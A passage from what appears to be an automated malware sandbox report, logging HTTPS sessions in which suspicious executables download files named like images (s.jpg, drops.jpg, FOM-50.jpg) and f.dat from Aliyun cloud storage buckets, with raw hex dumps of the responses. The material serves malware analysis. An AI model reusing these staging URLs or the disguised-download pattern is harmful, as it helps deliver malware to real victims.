2025-01-05 09:11:38 UTC	4096	IN	Data Raw: ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad ad fd ad ad e9 ad ad ad bd 0c b5 0c 2c ad 24 ad 9d 0c 95 0c 4c ad 44 ad fd 0c f5 0c 6c ad 64 ad dd 0c d5 0c 8c ad 84 ad 3d 0c 35 0c ac ad a4 ad 1d 0c 15 0c cc ad c4 ad 7d 0c 75 0c ec ad e4 ad 5d 0c 55 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c Data Ascii: ,$LDld=5}u]U
2025-01-05 09:11:38 UTC	4096	IN	Data Raw: 47 a9 09 fd fc 12 13 1d 3c 88 0c c6 10 da 45 42 60 a9 c1 bc 1a 11 a7 e0 2e 22 2b 0a 8c d8 4c df a8 56 70 b6 bc 66 f5 56 67 09 82 f2 d3 a3 55 15 ce e3 6f 81 d8 c2 03 30 7c 10 15 ac 5c 86 7e 88 07 1f ba 3a fb b8 4b 9a 62 ec 00 e7 8e 85 12 6b 82 15 59 35 78 08 43 90 93 b7 4d 24 38 15 5e 33 ae 0e 03 b1 b4 8a 81 33 30 10 93 30 32 31 32 32 38 53 12 7f cb 7f 7f 7f 7f 7f 58 4f 42 49 46 65 e3 2d e3 92 9f 93 93 97 92 97 a7 e8 d9 e3 d8 e1 e7 e2 b4 e5 e3 f6 e7 b0 e3 81 a3 80 91 86 83 d5 d1 dd c6 df 88 be ac b7 de d9 d0 c3 ac ad f2 d3 e3 dd d5 d0 85 d4 d7 c3 c4 91 a6 a7 ca c8 c9 c3 f2 dd f3 df d9 dc 8a db d1 c8 ce 96 ff f5 e4 f9 8a 96 9f 8d ad ce e2 ff 8f 90 8d 9e ea f7 f1 f0 c1 d9 c0 d7 d1 d4 82 d3 d0 c0 f3 9e f7 fd ec f1 82 9e 97 85 a5 c6 ea e1 84 c1 b7 84 f6 ed e2 Data Ascii: G<EB`."+LVpfVgUo0\|\~:KbkY5xCM$8^330021228SXOBIFe-
2025-01-05 09:11:38 UTC	160	IN	Data Raw: bc 56 8d a1 48 a7 d8 db 20 3c c6 64 eb a7 f5 dc 87 01 85 4d b3 73 df 7e 2f 72 c3 fe 90 7f 53 03 95 c3 69 b4 78 70 7f 47 cd 54 d7 16 ca e8 7a 26 d7 20 64 6e df e5 43 1a 7a 90 7c ad 5f 36 aa 81 b5 fe 6e b2 cd cf ba 1d 41 b4 54 53 e9 3f 79 f1 5e 23 29 65 39 09 a1 03 8d 0a fe 23 25 a7 5c cd 0e 5d 86 0a 45 0c 38 50 e4 30 db dd d2 af bb de fa 16 60 6f 98 ea 3b 50 91 e8 7f a4 41 45 cc 50 fe 5e b5 e2 5c 31 55 2a 67 69 1d 23 55 9c 19 fe aa 01 a8 35 68 df e2 53 d9 70 80 53 78 6f 9a 07 Data Ascii: VH <dMs~/rSixpGTz& dnCz\|_6nATS?y^#)e9#%\]E8P0`o;PAEP^\1U*gi#U5hSpSxo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	62777	39.103.20.34	443	2300	C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:11:39 UTC	111	OUT	GET /s.jpg HTTP/1.1 User-Agent: GetData Host: msd1sq.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:11:39 UTC	543	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:11:39 GMT Content-Type: image/jpeg Content-Length: 8299 Connection: close x-oss-request-id: 677A4CCBD4BE2031317E0BC7 Accept-Ranges: bytes ETag: "9BDB6A4AF681470B85A3D46AF5A4F2A7" Last-Modified: Sat, 04 Jan 2025 09:22:47 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 692387538176721524 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: m9tqSvaBRwuFo9Rq9aTypw== x-oss-server-time: 6
2025-01-05 09:11:39 UTC	3553	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-05 09:11:39 UTC	4096	IN	Data Raw: 6a 97 a0 76 9f 8a 4c ce c2 04 d4 99 b6 a3 2e 14 ad df 13 51 65 93 89 43 91 9f a1 22 66 8b 67 93 6a a2 a8 41 af 7a 2c ae 4c aa 83 63 3f 31 b1 0c 38 b2 5a bc ee 9f ac 38 b8 3b d8 89 02 c6 e4 8d 4f 83 68 c8 cb e9 cd 46 82 eb f8 de 65 da d0 b3 5f 34 d9 d6 6d db 55 d9 bc fb a3 e2 61 23 e6 e4 e3 87 ec ad ee cf c4 48 ef c7 73 cd d6 f3 c4 81 f4 1c 39 58 f8 db f6 39 e6 54 8a 0c ef 0e 3c c4 02 47 ce 01 4a eb 07 3d 8b cf 64 01 b1 11 50 1f 56 fc 58 fd 52 90 48 39 56 7e 31 61 02 cb 69 da d9 d8 cc 26 ee 13 ab 4c 25 c9 2d d0 31 03 dc f8 c8 d7 3b 32 53 27 d0 3e e3 d2 43 01 15 0b c5 c7 aa 26 cf 01 8d 0f 68 05 6c 61 40 dc 57 84 5a 54 79 13 7c 39 5f 3b 5d be 3a 5e 38 29 ef 27 40 e5 0e 2f e3 91 59 ab d5 8c 1a 9b 83 db 73 71 24 d7 68 16 7f 18 08 bb 51 3d 32 5b d8 c4 b1 43 a5 Data Ascii: jvL.QeC"fgjAz,Lc?18Z8;OhFe_4mUa#Hs9X9T<GJ=dPVXRH9V~1ai&L%-1;2S'>C&hla@WZTy\|9_;]:^8)'@/Ysq$hQ=2[C
2025-01-05 09:11:39 UTC	650	IN	Data Raw: f2 f5 18 89 8e 8a db 3d b5 89 92 61 93 d9 95 d6 f9 fa e8 f6 8e e8 f9 2d 9f 8a 17 a0 e4 d1 c1 a0 b7 a6 2d 71 ae f8 c9 d9 ef da b0 c5 da fa da d3 d9 f2 c0 b8 ea 98 18 bd f0 db b2 82 ae c3 ad a0 a8 b3 8b a8 a6 a7 8d 1d d0 9d 80 92 80 87 97 c7 d6 97 a8 da 92 be bd ad bf db e0 e5 e2 8f 56 e5 a7 8b 84 86 89 eb ec 39 ec a8 95 85 a2 81 d4 9a 95 92 8b 8a ab fa fc fd fe b4 45 53 4c 46 48 36 34 f8 7b 0a 05 0b 03 0d 01 0f 1f 11 1d 13 1b 15 19 17 e7 16 1a 14 1c 12 1e 10 20 2e 22 2c 24 2a 26 28 28 d6 25 2b 23 2d 21 2f 3f 31 3d 33 3b 35 39 37 37 39 3a 3b 3c f6 8f 1f 40 51 42 43 63 45 76 3f 0a e1 4a 4b 7c 4d 3e 1b 54 09 32 53 6c 7f 97 57 40 d9 5a 77 8c 5d 42 42 71 c9 62 63 ec 65 4a 47 68 75 52 6b 60 38 6f e3 30 71 6e 2b 70 63 16 77 76 2e 4a 69 7c 7d ee 7e 96 81 8c 84 90 Data Ascii: =a--qV9ESLFH64{ .",$*&((%+#-!/?1=3;59779:;<@QBCcEv?JK\|M>T2SlW@Zw]BBqbceJGhuRk`8o0qn+pcwv.Ji\|}~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	62780	118.178.60.9	443	6032	C:\Users\user\Documents\EMp3o1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:12:16 UTC	114	OUT	GET /drops.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:12:16 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:12:16 GMT Content-Type: image/jpeg Content-Length: 37274 Connection: close x-oss-request-id: 677A4CF094C77F373199EDCA Accept-Ranges: bytes ETag: "6D4DEB9526F3973DE0F9DCE9392F8EA7" Last-Modified: Wed, 23 Oct 2024 04:47:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9193697774326766004 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: bU3rlSbzlz3g+dzpOS+Opw== x-oss-server-time: 10
2025-01-05 09:12:16 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 20 00 49 44 41 54 78 9c ed 9d 0b f8 6e e5 94 c0 97 91 14 26 45 21 4a 7f 25 4d 17 94 22 b9 cc 39 85 12 8d 90 2e 22 a7 9b 88 48 11 a9 4c 87 92 90 a4 d1 4c 49 3a 88 29 a1 90 4b 37 c2 14 21 83 34 51 f8 1f f7 7b ee cc 64 cc cc fe b5 ff 5b df f9 e6 fb fe df 5a 7b bf b7 ef db eb f7 3c eb 79 3c 39 ff 6f af fd ee 77 af fd be eb 5d 17 11 c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 cc 1a 95 ac 33 25 b2 46 a4 31 70 9c de 72 44 25 ff 3b 25 72 44 a4 31 70 9c de e2 06 c0 71 7a 8c 1b 00 c7 e9 31 Data Ascii: PNGIHDR\rfpHYs IDATxn&E!J%M"9."HLLI:)K7!4Q{d[Z{<y<9ow]qqqqqqqqqqqqqqqqq3%F1prD%;%rD1pqz1
2025-01-05 09:12:16 UTC	4096	IN	Data Raw: 83 b8 15 4d f0 da 0b 73 29 d8 06 f6 9f 9a 49 70 40 2e 05 0b 01 87 5f 9b 3d 3f fb 46 f6 f7 6d f6 f6 a1 c1 89 8a 9f a0 4d d0 15 3e 81 52 1c 83 39 a1 dc d8 a4 b1 fa 64 36 ed 8c e0 b1 d4 38 8c b0 7a eb 66 d2 b1 04 38 ea 6b e3 ed c7 43 bf 5d 06 7d 27 41 5d 01 4b 93 95 46 38 1d 28 e9 88 30 07 7c dd 35 db 80 d2 93 d3 6e 43 db 93 ed f2 5c 0a 16 82 a5 2d 59 23 ef 97 b2 7d 26 78 b5 3f 28 f6 fb 7a 57 0e 65 0b 82 17 5b 53 7b f0 79 b9 14 b4 a0 ad c2 72 68 2e 05 0b e0 b9 62 7f 49 e8 29 37 0d b5 09 f0 0d d0 e7 ce 7a 7f 7d df 0e 5e 2d 93 c7 e8 b2 6c da 29 21 c0 42 13 40 32 75 5e cd 80 10 db 6f e9 43 c0 76 ea a8 2c 9a 76 83 c0 2a 4b ec 00 01 61 a5 e5 0e a4 84 90 df 49 63 c4 b6 79 52 ad 81 ac 68 3b ec 7c 36 97 82 05 40 a5 18 cb 97 71 1a 5f fe 06 8c 80 e5 5e 2f cd a3 66 11 Data Ascii: Ms)Ip@._=?FmM>R9d68zf8kC]}'A]KF8(0\|5nC\-Y#}&x?(zWe[S{yrh.bI)7z}^-l)!B@2u^oCv,v*KaIcyRh;\|6@q_^/f
2025-01-05 09:12:16 UTC	4096	IN	Data Raw: eb d0 62 92 23 02 8f d8 7f 4b bb b9 f3 33 e8 e8 18 58 21 b6 49 77 40 06 1d 49 05 fd 8a 51 4f 8d b0 a7 bd 48 ea b2 d6 31 a1 a4 5b a8 ba 8e 83 f2 1b b1 75 d9 0d 05 45 38 2d 4d 44 3c 3c bc 50 38 4a b3 4c b8 f7 e5 51 53 4e 37 e8 d8 46 62 27 2f 59 92 6b ac 92 2b 02 ef 30 83 8e 18 8b 99 af dc 3b 6d 6c 22 f5 17 44 fb 10 73 ed e7 ac f9 08 7d 33 00 48 ae 08 bc 8b 0c 3a d2 fd b7 34 1f 4c 6f a1 21 c4 e7 45 ff f0 08 f5 dd 21 83 9e d6 7c 84 be 1a 80 5c 11 78 d6 50 e1 7f ce a0 a3 33 82 53 c5 36 c1 5e 9e 41 47 1c 74 57 18 f5 ec ab 01 40 7e 5a c9 7d 22 df c7 28 1e 2b b6 c8 d1 7d 32 e8 e8 0c f0 64 b1 2d a9 2f 93 3c 51 5d c7 19 74 ec da 9c 72 16 0c 00 42 6f be 1c 11 91 96 f6 75 d4 1d dc 28 83 8e 8e d4 c7 50 3f 13 db a4 3a 53 d2 3b 99 c8 2c fc b3 41 c7 fd a5 3e 9a c4 68 7c Data Ascii: b#K3X!Iw@IQOH1[uE8-MD<<P8JLQSN7Fb'/Yk+0;ml"Ds}3H:4Lo!E!\|\xP3S6^AGtW@~Z}"(+}2d-/<Q]trBou(P?:S;,A>h\|
2025-01-05 09:12:16 UTC	4096	IN	Data Raw: f9 72 b8 f8 65 fd f3 08 c8 16 67 54 0d cf 0b 6c 41 02 c8 a0 55 06 c4 14 75 72 5c ea 55 d3 97 57 dd f2 5b 5c 5d 16 d4 24 45 4a 6c da 65 e3 a7 67 ed f2 6b 6c 6d 26 e4 34 55 52 7c ca 75 f5 8f 39 05 67 33 f7 39 5a 5f 8f 3f 82 00 7c df f9 97 c0 02 ce af ac 82 30 8f 13 59 b2 1a 90 b1 7d 9c d0 12 de bf bc 92 20 9f 29 a5 86 eb 2f e1 82 8f a7 17 aa 28 54 ec d2 b1 f8 3a f6 97 9c ba 08 b7 3b 41 e0 c4 ad f5 35 fb e4 e9 cd 7d c4 46 0e e7 41 8d ee cf 27 c1 86 44 94 f5 fa dc 6a d5 5f 93 fc dd d5 6d d8 f9 d1 69 ac c5 e6 d8 25 90 f9 af 63 ad ce cb a4 12 2e a7 79 b5 d6 d3 bc 7e b2 d3 d0 b1 05 3b b4 74 ba db 28 e8 4a fc fb fa 4e 8c 4c 2d 2a 04 b2 0d 8d f7 51 6d 0c 5b 9f 51 32 37 17 a7 1a 98 e4 47 61 0e 68 aa 66 07 04 2a 98 27 ab e1 0a a2 68 09 26 c4 3c 79 b9 77 10 15 39 89 Data Ascii: regTlAUur\UW[\]$EJlegklm&4UR\|u9g39Z_?\|0Y} )/(T:;A5}FA'Dj_mi%c.y~;t(JNL-Qm[Q27Gahf'h&<yw9
2025-01-05 09:12:17 UTC	4096	IN	Data Raw: 1d 8a 3b 3c 3d ae 77 c1 85 4a 42 44 45 85 8b 84 85 86 87 80 81 82 83 18 d0 be db 56 55 56 91 1c 7d 2a 68 9a 19 7a 2e 56 a7 26 47 16 55 a0 23 4c 1a 1e ad 28 49 1a 1d b6 35 56 06 15 b3 32 53 0e 00 bc 3f 58 0a 50 b9 c4 a5 fa e6 42 c1 a2 fe f0 4f ce af f6 e8 48 cb b4 ea 92 55 d0 b1 d6 a4 5e dd be da aa 5b da bb e2 91 64 e7 80 e6 d5 61 ec 8d ee cf 6a e9 8a ea 9e 77 f6 97 f2 d0 70 f3 9c fe c2 7d f8 99 f6 da 06 85 e6 8a c4 03 42 e3 48 c9 ca cb ff 0b 4a eb 51 d1 d2 d3 e2 13 52 f3 5a d9 da db ec 1b 5a fb 63 e1 e2 e3 97 23 62 c3 6c e9 ea eb 8d 2b 6a cb 75 f1 f2 f3 92 33 72 d3 7e f9 fa fb 99 3b 7a db 87 01 02 03 2a c3 82 23 80 09 0a 0b 69 cb 8a 2b 99 11 12 13 6c d3 92 33 92 19 1a 1b 79 db 9a 3b ab 21 22 23 24 e3 62 03 08 42 ec 6f 08 0c 4b e9 74 15 10 41 f2 71 12 14 Data Ascii: ;<=wJBDEVUV}hz.V&GU#L(I5V2S?XPBOHU^[dajwp}BHJQRZZc#bl+ju3r~;z#i+l3y;!"#$bBoKtAq
2025-01-05 09:12:17 UTC	4096	IN	Data Raw: b2 3e 1f 74 b6 72 1b 60 09 41 8b 0c ce 87 0f c3 45 6e 03 c7 19 6a 67 18 52 83 1b df 9f 59 e1 51 d1 52 b0 f0 15 d5 5b 44 29 e9 2f 40 45 2e 64 a0 21 e1 aa aa 6d 6e 27 fb 35 56 53 3c f6 b2 6f bb b5 b6 b7 b0 b1 b2 b3 c8 08 d6 a7 94 cd 0f cb ac 81 c2 08 60 95 c6 04 d4 b5 b2 db 1d 91 b2 df 13 dd be b3 d4 14 da bb a8 e9 29 a7 80 aa 18 a7 2d 69 de a6 e4 26 aa 8b f8 4e 72 fb 3d b1 92 5c 50 f1 31 bf 98 f5 35 f3 e4 c9 cd 75 cd 4d ce 8f 43 cd ee 83 33 0d 86 46 d4 f5 9a 58 90 f1 de 9f 27 19 92 52 98 f9 d6 97 6b a5 c6 eb eb 5b e6 62 28 9c 24 a3 67 e9 ca 29 f0 f1 ba 78 b0 d1 d6 bf 7b 3d e2 38 30 31 32 33 44 88 46 27 1c 4d 8f 53 2c 19 42 82 40 29 06 47 93 fd 3a 5b 9f 51 32 2f 50 90 5e 3f 0c 55 95 5b 04 11 6a aa 60 01 2e ac 6c 0d 6a a2 28 09 a5 6b 14 71 cd fb bd 71 12 77 Data Ascii: >tr`AEnjgRYQR[D)/@E.d!mn'5VS<o`)-i&Nr=\P15uMC3FX'Rk[b($g)x{=80123DF'MS,B@)G:[Q2/P^?U[j`.lj(kqqw
2025-01-05 09:12:17 UTC	4096	IN	Data Raw: 7d 1e 63 74 b0 aa 1b c8 41 42 43 0c c8 4b e2 8d b6 b5 a3 1c 82 b1 b0 18 d8 16 77 34 1d 91 13 7c 69 5a 5b 5c 5d 99 1b 44 49 e2 63 64 65 a1 23 4c 49 68 6b 6c 6d 2b 5c b9 34 41 b3 ce 75 76 77 38 31 f1 f7 58 cd 7e 7f 80 7e d6 a7 d4 cd 0f c3 ac c1 c2 08 f0 a9 c6 70 e4 a0 da 54 d0 b1 b6 97 98 99 9a d7 11 d1 ba df e4 2a 26 87 64 a5 a6 a7 e0 22 3e 8f 14 ad ae af f8 3a fe 97 fc 4a e2 93 e0 f1 31 f7 98 f5 41 eb e4 a1 52 8b 45 01 6e c7 c8 c9 09 07 00 01 02 03 98 58 9e f7 dc 9d 55 3b f0 91 51 9f f8 ed 96 56 a4 c5 f2 ab 23 e1 c2 18 17 16 15 a3 13 e9 ca a7 7b b5 d6 e3 bc 7e fa d3 78 c5 f2 fb 89 10 b6 74 04 25 4a 8a 40 21 0e 4f 8b 75 2e 03 0c 78 0c e4 3d 59 99 57 30 1d 5e 9c 54 3d 2a 53 1f d5 56 94 e1 2e 9c 63 db a6 de 7b 5d 3d 62 a0 68 09 26 67 bb 7d 16 03 7c 36 fe 7f Data Ascii: }ctABCKw4\|iZ[\]DIcde#LIhklm+\4Auvw81X~~pT&d">:J1AREnXU;QV#{~xt%J@!Ou.x=YW0^T=SV.c{]=bh&g}\|6
2025-01-05 09:12:17 UTC	4096	IN	Data Raw: 7d 1e 03 74 be fe 27 01 f9 46 43 44 45 0e cc 98 01 c7 c7 68 a5 4e 4f 50 b9 f8 b3 ab aa 1e dc 1c 7d 62 13 df 9d 42 1e d8 69 62 63 64 2d ed b7 20 e2 e6 4f 7c 6c 6e 6f 98 fa 92 8c 8b 3d fd f3 5c 19 7b 7b 7c 35 f5 f3 a4 c9 83 83 84 cd 0f 8f c0 02 0e af ec 8c 8e 8f 1b 1d b6 77 94 95 96 1e d0 91 d2 10 18 b9 fe 9e a0 a1 ea 28 28 81 a6 a6 a8 a9 e2 22 e4 bd e6 24 34 95 d2 b2 b4 b5 3d 3b 9c 51 ba bb bc 34 f6 a7 88 4a 46 e7 a4 c4 c6 c7 80 42 46 ef dc cc ce cf 98 58 9a f3 9c 5e 52 f3 b8 d8 da db 94 5c 1a 87 e1 e1 e2 20 28 29 2a 2b 24 25 26 27 20 21 22 23 b8 78 be d7 fc bd 7d b3 dc f1 b2 70 fc b5 3f 1f 15 49 89 4f 20 0d 4e 8c 01 41 39 c3 44 86 cf 47 9b 5d 36 1b 5c 9c 17 5f 93 5d 3e 13 54 96 1e 57 e1 c9 01 6b af 69 02 2f 60 a2 23 63 1f e5 66 a4 f1 79 b9 7f 10 3d 7e be Data Ascii: }t'FCDEhNOP}bBibcd- O\|lno=\{{\|5w(("$4=;Q4JFBFX^R\ ()*+$%&' !"#x}p?IO NA9DG]6\_]>TWki/`#cfy=~
2025-01-05 09:12:17 UTC	4096	IN	Data Raw: 39 3a 5e fa b9 1a 89 40 41 42 20 82 c1 62 f0 48 49 4a 3f 8a c9 6a f7 50 51 52 3c 92 d1 72 ee 58 59 5a 29 9a d9 7a e5 60 61 62 1a a2 e1 42 dc 68 69 6a 2a aa e9 4a d3 70 71 72 73 3c f8 e2 53 d0 79 7a 7b 34 f0 73 12 25 7e 7d 6b 9c 2a 79 78 c0 00 0e af a4 8f 8e 8f d8 1c 1e b7 c4 a7 96 97 67 0d be b3 9e 9d 9e d7 2d 2d 86 ff 91 a5 a6 4f 1c a4 aa ab e4 20 22 8b d0 87 b2 b3 5c 12 bb b7 b8 f1 37 37 98 d9 89 bf c0 29 58 ce c4 c5 8e 4a 44 ed a2 f3 cc cd 26 42 dd d1 d2 9b 59 59 f2 8b ed d9 da 33 2c d4 de df 26 65 c6 63 e4 e5 e6 a0 2e 6d ce 6a ec ed ee 8a 36 75 d6 71 f4 f5 f6 83 3e 7d de 78 fc fd fe af c6 85 26 87 04 05 06 75 ce 8d 2e 8e 0c 0d 0e 60 d6 95 36 95 14 15 16 74 de 9d 3e 9c 1c 1d 1e 7a e6 a5 06 ab 24 25 26 54 ee ad 0e a2 2c 2d 2e 5c f6 b5 16 b9 34 35 36 7f Data Ascii: 9:^@AB bHIJ?jPQR<rXYZ)z`abBhijJpqrs<Syz{4s%~}kyxg--O "\77)XJD&BYY3,&ec.mj6uq>}x&u.`6t>z$%&T,-.\456
2025-01-05 09:12:17 UTC	956	IN	Data Raw: b0 66 1f 34 70 0d e4 0c cc 16 67 5c 09 6d 97 05 46 08 98 29 01 c5 53 75 41 52 53 54 18 6d 84 2b 4f 3c 1a dd bf 5e af 2d ec f9 63 94 9a 99 26 ae 6a 6a 26 57 be 1b 9f 3c fa 66 57 38 fe 2a 53 70 31 f9 bf 6c be b2 b3 81 86 80 83 83 84 af 87 89 80 8b 8b 85 af 8e 8f 91 9c 93 93 99 d7 96 97 99 94 9b 9b 91 5f 9e 9f a1 ab a1 a3 ae 67 a0 d7 ad c9 aa ab ad a3 af af be 13 b2 b3 b5 bb b7 b7 b6 9b ba bb bd b1 bc bf cc c0 ff c3 c5 c2 c4 c7 cf c8 dd cb cd c4 cf cf d9 13 d2 d3 d5 d1 d7 d7 dc 3b da db dd d9 df df e4 23 e2 e3 e5 ee e4 e7 e3 e8 cb eb ed ea ec ef f7 f0 a3 f3 f5 e4 f4 f7 e9 f8 df fb fd f0 ff ff 0d 63 02 03 05 02 04 07 0f 08 21 0b 0d 09 0f 0f 14 b3 12 13 15 06 17 17 0b 3b 1a 1b 1d 0e 1f 1f 33 63 22 23 25 2b 27 27 26 6b 2a 2b 2d 23 2f 2f 3e 53 32 33 35 2d 37 37 Data Ascii: f4pg\mF)SuARSTm+O<^-c&jj&W<fW8Sp1l_g;#c!;3c"#%+''&k+-#//>S235-77

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	62781	118.178.60.9	443	6032	C:\Users\user\Documents\EMp3o1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:12:19 UTC	110	OUT	GET /f.dat HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:12:20 UTC	558	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:12:19 GMT Content-Type: application/octet-stream Content-Length: 879 Connection: close x-oss-request-id: 677A4CF33849223538084E39 Accept-Ranges: bytes ETag: "E54C4296F011EC91D935AA353C936E34" Last-Modified: Tue, 22 Oct 2024 18:02:54 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11142793972884948456 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 5UxClvAR7JHZNao1PJNuNA== x-oss-server-time: 6
2025-01-05 09:12:20 UTC	879	IN	Data Raw: 0f 56 0e 57 66 34 65 31 31 31 31 31 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 Data Ascii: VWf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW111

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	62782	118.178.60.9	443	6032	C:\Users\user\Documents\EMp3o1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:12:21 UTC	115	OUT	GET /FOM-50.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:12:21 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:12:21 GMT Content-Type: image/jpeg Content-Length: 55085 Connection: close x-oss-request-id: 677A4CF5F947FB3032E3B694 Accept-Ranges: bytes ETag: "DC44AE348E6A74B3A74871020FDFAC74" Last-Modified: Tue, 22 Oct 2024 14:47:46 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12339968747348072397 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 3ESuNI5qdLOnSHECD9+sdA== x-oss-server-time: 4
2025-01-05 09:12:21 UTC	3550	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
